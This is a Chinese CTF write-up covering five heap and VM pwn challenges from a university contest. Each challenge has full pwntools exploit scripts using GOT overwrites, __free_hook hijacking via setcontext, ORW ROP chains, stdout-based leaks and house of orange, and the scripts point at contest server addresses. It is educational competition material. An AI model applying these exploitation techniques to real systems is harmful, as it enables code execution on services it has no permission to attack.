高校战“疫”网络安全分享赛pwn部分wp
easyheap
刚复现的第一题,并且在刚开始的时候连洞都找不到…可真是当头一棒。
漏洞在申请的大小大于0x400时,return。这时ptr[i]
没有被释放,接下来就是常规劫持ptr[i]堆块上的指针为got表。修改got表。来实现利用。# -*- coding: utf-8 -* from pwn import *from LibcSearcher import *context.log_level = 'debug'context.arch = 'amd64'p = 0def pwn(ip,port,debug,flaag): elf = ELF(flaag) global p if(debug == 1): p = process(flaag) else: p = remote(ip,port) def add(size,content): p.sendlineafter("Your choice:\n","1") p.sendlineafter("this message?\n",str(size)) p.sendafter("content of the message?\n",content) def free(index): p.sendlineafter("Your choice:\n","2") p.sendlineafter("item to be deleted?\n",str(index)) def edit(index,content): p.sendlineafter("Your choice:\n","3") p.sendlineafter(" the item to be modified?\n",str(index)) p.sendafter("content of the message?\n",content) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") add(0x18,'\xff'*0x18) free(0) p.sendlineafter("Your choice:\n","1") p.sendlineafter("this message?\n",str(0x500)) p.sendlineafter("Your choice:\n","1") p.sendlineafter("this message?\n",str(0x500)) edit(0,p64(0)+p64(0x21)+p64(0x6020d8)) edit(1,p64(0x6020f0)+p64(0x602100)+p64(0)+p64(elf.got['free'])+p64(0x200)+p64(0x602108)+'/bin/sh\x00') #gdb.attach(p) edit(0,p64(0)+p64(0x21)+p64(elf.got['free'])) edit(1,p64(elf.plt['puts'])) edit(0,p64(0)+p64(0x21)+p64(elf.got['puts'])) free(1) puts_addr=u64(p.recv(6).ljust(8,'\x00')) libcbase_addr=puts_addr-libc.symbols['puts'] system_addr=libcbase_addr+libc.symbols['system'] binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next() edit(3,p64(system_addr)) free(4) print "system_addr=>",hex(system_addr) print "libcbase_addr=>",hex(libcbase_addr) p.interactive()if __name__ == '__main__': pwn('121.36.209.145',9997,0,'./easyheap')
lgd
开沙盒的堆溢出,老实说之前没遇到过这种。
在edit时read的长度为add时写在bss段字符串的长度。 造成了堆溢出。 利用堆溢出挟持__free_hook
为setcontext
,从而劫持rsp,rip
,从而劫持程序,在利用ORW来泄露flag# -*- coding: utf-8 -*from pwn import *from LibcSearcher import *context.log_level = 'debug'context.arch = 'amd64'p = 0def pwn(ip,port,debug,flaag): elf = ELF(flaag) global p if(debug == 1): p = process(flaag) else: p = remote(ip,port) def add(size,content): p.sendlineafter(">> ","1") p.sendlineafter("______?\n",str(size)) p.sendafter("yes_or_no?\n",content) def free(index): p.sendlineafter(">> ","2") p.sendlineafter("index ?\n",str(index)) def show(index): p.sendlineafter(">> ","3") p.sendlineafter("index ?\n",str(index)) def edit(index,content): p.sendlineafter(">> ","4") p.sendlineafter("index ?\n",str(index)) p.sendafter("c___new_content ?\n",content) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") p.sendlineafter("what is your name? \n","aaa") add(0x50,"\xff"*0x200) add(0xf8,'\xff'*0x200) add(0x68,"\xff"*0x200) free(1) free(2) edit(0,"A"*0x58+"B"*8) show(0) p.recvuntil("BBBBBBBB") main_arena=u64(p.recv(6).ljust(8,"\x00")) libcbase_addr=main_arena-(0x7f9f177d8b78-0x7f9f17414000) free_hook=libcbase_addr+libc.symbols['__free_hook'] edit(0,"A"*0x58+p64(0x101)+p64(main_arena)+p64(free_hook-0x40)+p64(0)*28+p64(0x100)+p64(0x71)+p64(free_hook-0x33)) add(0xf8,'\xff'*0x200) add(0x68,'\xff'*0x200) add(0x68,'\xff'*0x200) edit(3,p64(0)*4+'\x00'*3+p64(libcbase_addr+libc.symbols['setcontext']+0x35)) frame = SigreturnFrame() frame.rdi = 0 frame.rax = 0 frame.rsi = (libcbase_addr + libc.symbols['__free_hook']) frame.rcx = (libcbase_addr + libc.symbols['__free_hook']) frame.rdx = 0x2000 frame.rsp = (libcbase_addr + libc.symbols['__free_hook']) frame.rip = libcbase_addr+ 0x00000000000bc375 #: syscall; ret; payload = str(frame) edit(2,payload) print "payload len=>",hex(libcbase_addr+libc.symbols['setcontext']+0x35) #gdb.attach(p) free(2) pop_rdi_ret=0x4023b3 pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next() pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next() open_addr=libcbase_addr+libc.symbols['open'] read_addr=libcbase_addr+libc.symbols['read'] puts_addr=libcbase_addr+libc.symbols['puts'] flag_addr=free_hook+15*8 orw=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)+p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(0x603060)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr) orw+=p64(pop_rdi_ret)+p64(0x603060)+p64(puts_addr)+"/flag\x00" p.sendline(orw) print "main_arena=>",hex(main_arena) p.interactive()if __name__ == '__main__': pwn('121.36.209.145',9998,0,'./attach')
woodenbox2
相较于之前的题,这个题是我感觉如果我去我有可能做出来的
漏洞点在更改chunk时可以任意大小修改,难点是泄露,没有泄露函数,通过main_arena
来将_IO_2_1_stdout_-0x43
加入0x70的fast bin attack
中,通过更改_IO_2_1_stdout_
的_flags
为0xfbad1800
(即刻输出),且更改_IO_write_base
为要泄露的地址来泄露地址,然后用house of orange
来shell。# -*- coding: utf-8 -*from pwn import *from LibcSearcher import *context.log_level = 'debug'context.arch = 'amd64'p = 0def pwn(ip,port,debug,flaag): elf = ELF(flaag) global p if(debug == 1): p = process(flaag) else: p = remote(ip,port) def add(size,name): p.sendlineafter("Your choice:","1") p.sendlineafter("length of item name:",str(size)) p.sendafter("the name of item:",name) def edit(index,size,name): p.sendlineafter("Your choice:","2") p.sendlineafter("index of item:",str(index)) p.sendlineafter("length of item name:",str(size)) p.sendlineafter("new name of the item:",name) def free(index): p.sendlineafter("Your choice:","3") p.sendlineafter("the index of item:",str(index)) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") add(0xf8,'a') add(0x68,'a') add(0xf8,'a') add(0x10,'a') free(0) edit(0,0x70,'a'*0x60+p64(0x170)+p64(0x100)) free(0) free(0) add(0xf8,'a') add(0x58,'\xdd\x25') edit(1,0x100,'A'*0xf8+p64(0x71)) add(0x68,'aa') payload=p64(0)*6+'\x00'*3+p64(0x00fbad1800)+p64(0)*3+'\x88' gdb.attach(p) add(0x68,payload) libcbase_addr=u64(p.recv(6).ljust(8,'\x00'))-(0x7f9c190818e0-0x00007f9c18cbd000) IO_list_addr=libcbase_addr+libc.symbols['_IO_list_all'] system_addr=libcbase_addr+libc.symbols['system'] print "system_addr=>",hex(system_addr) fake_file=p64(0)+p64(0x61) fake_file+=p64(0)+p64(IO_list_addr-0x10) fake_file+=p64(1)+p64(2) fake_file+=p64(0)+p64(libcbase_addr+0x18cd57) fake_file=fake_file.ljust(0xd8,"\x00") fake_file+=p64(libcbase_addr+0x3c37a0-8) fake_file+=p64(0) fake_file+=p64(libcbase_addr+libc.symbols['system']) edit(2,0x50+len(fake_file),'a'*0x50+fake_file) p.sendlineafter("Your choice:","1") p.sendlineafter("length of item name:",str(0x100)) p.interactive()if __name__ == '__main__': pwn('121.36.215.224',9998,1,'./woodenbox2')
EasyVM
这个题的话,读懂这个启动函数就通杀了。
主要函数分析 if ( *(_BYTE *)a1[8] == 0x11 ) { printf("%p\n", a1[1]); //打印str[1] ++a1[8]; }------- if ( *(_BYTE *)a1[8] == 0x80u ) { a1[guanjian((int)a1, 1u)] = *(_DWORD *)(a1[8] + 2);//这部分可以修改任意str位置的值为a1[8]+2的值 a1[8] += 6; }------- if ( *(_BYTE *)a1[8] == 9 ) { a1[1] = dword_305C; //将str[1]==dword_305c ++a1[8]; }--------- case 4: puts("Maybe a bug is a gif?"); dword_305C = v5; //将dword_305c赋值v5,通过调试可发现v5为libc的一个地址,与str[8]==9配合可以打印一个程序地址 ptr[8] = &unk_3020; break;---------- if ( *(_BYTE *)a1[8] == 0x53 ) { putchar(*(char *)a1[3]);//可用来str[3]泄露地址 a1[8] += 2; }---------- if ( *(_BYTE *)a1[8] == 0x54 ) { v1 = (_BYTE *)a1[3]; *v1 = getchar();//用来任意地址写 a1[8] += 2; }--------- if ( *(_BYTE *)a1[8] == 0x99u ) break;//退出循环
这样一分析程序就很简单了。思路就是先泄露程序地址,构造payload利用putchar来逐个打印libc地址,然后利用getchar任意地址写,这里攻击__free_hook
来实现shell。# -*- coding: utf-8 -*from pwn import *from LibcSearcher import *context.log_level = 'debug'context.arch = 'i386'p = 0def pwn(ip,port,debug,flaag): elf = ELF(flaag) global p if(debug == 1): p = process(flaag) else: p = remote(ip,port) def add(content): p.sendlineafter(">>> ",'1') p.send(content) def free(): p.sendlineafter(">>> ",'3') p.sendlineafter(">>> ",'4') add('\x09\x11\x99') p.sendlineafter(">>> ",'2') p.recvuntil("0x") free_got=int(p.recv(8),16)+0x28fc print "free_got=>",hex(free_got) free_addr='' for i in range(4): payload ='\x80'+chr(3)+p32(free_got+i)+'\x53'+'\x99'+'\x99' add(payload) p.sendlineafter(">>> ",'2') free_addr =free_addr+ p.recvuntil('1.Produce',True)[-1:] print "free_addr=>",hex(u32(free_addr)) libc=ELF("/lib/i386-linux-gnu/libc.so.6") libcbase_addr=u32(free_addr)-libc.symbols['free'] free_hook=libcbase_addr+libc.symbols['__free_hook'] system_addr=libcbase_addr+libc.symbols['system'] one_ge=[0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6] for i in range(4): payload ='\x80'+chr(3)+p32(free_hook+i)+'\x54'+'\x99'+'\x99' add(payload) p.sendlineafter(">>> ",'2') p.send(p32(system_addr)[i]) payload='\x80'+chr(16)+'sh\x00'+'\x99'+'\x99' add(payload) p.sendlineafter(">>> ",'2') free() p.interactive()if __name__ == '__main__': pwn('buuoj.cn',20035,1,'./EasyVM')
Shotest_Path_v2 这个的话非预期了
# -*- coding: utf-8 -*from pwn import *from LibcSearcher import *context.log_level = 'debug'context.arch = 'amd64'p = 0def pwn(ip,port,debug,flaag): elf = ELF(flaag) global p if(debug == 1): p = process(flaag) else: p = remote(ip,port) def add(index,size,name,nums,station,distance): p.sendlineafter("options ---> ","1") p.sendlineafter("Station ID: ",str(index)) p.sendlineafter("Station Price: ","10") p.sendlineafter("Name Length: ",str(size)) p.sendafter("Station Name: \n",name) p.sendlineafter("connected station: ",str(nums)) for i in range(nums): p.sendlineafter("station ID: ",str(station[i])) p.sendlineafter("station distance: ",str(distance[i])) def free(index): p.sendlineafter("options ---> ","2") p.sendlineafter("Station ID: ",str(index)) def show(index): p.sendlineafter("options ---> ","3") p.sendlineafter("Station ID: ",str(index)) add(0,0xc8,'\xff'*8,1,[1],[1]) add(1,0xb8,'\xff'*8,1,[1],[1]) add(2,0x68,'\xff'*0x20,1,[1],[1]) show(2) p.interactive()if __name__ == '__main__': pwn('121.37.181.246',19008,1,'./Shortest_path')
总结
更简单的house of orange
fake_file=p64(0)+p64(0x61) fake_file+=p64(0)+p64(IO_list_addr-0x10) fake_file+=p64(1)+p64(2) fake_file+=p64(0)+p64(libcbase_addr+0x18cd57)#'/bin/sh\x00' fake_file=fake_file.ljust(0xd8,"\x00") fake_file+=p64(libcbase_addr+0x3c37a0-8)#_IO_str_jumps-8 fake_file+=p64(0) fake_file+=p64(libcbase_addr+libc.symbols['system'])
有沙盒的堆溢出
堆溢出的利用基本都是劫持函数的指针使其执行某一个函数,而栈溢出的利用基本就是劫持寄存器从而劫持程序。 当只有堆溢出的利用需要沙盒时,我们需要一个函数来劫持寄存器。实现劫持程序
原理
#include <ucontext.h>#include <stdio.h>int done = 0;int main(){ ucontext_t context; getcontext(&context);//将所有寄存器信息保存到context if (done) { printf("return from getcontext,exit\n"); return 0; } done = 1; setcontext(&context);//还原寄存器 return 0;//never goto here!}
编译指令gcc 1.c -o ceshi
利用思路
利用堆溢出漏洞使其执行setcontext(&context)
函数,context
是我们可控制的内存,这样在执行后我们就劫持了所有的寄存器从而劫持流程,之后利用ORW来读写文件。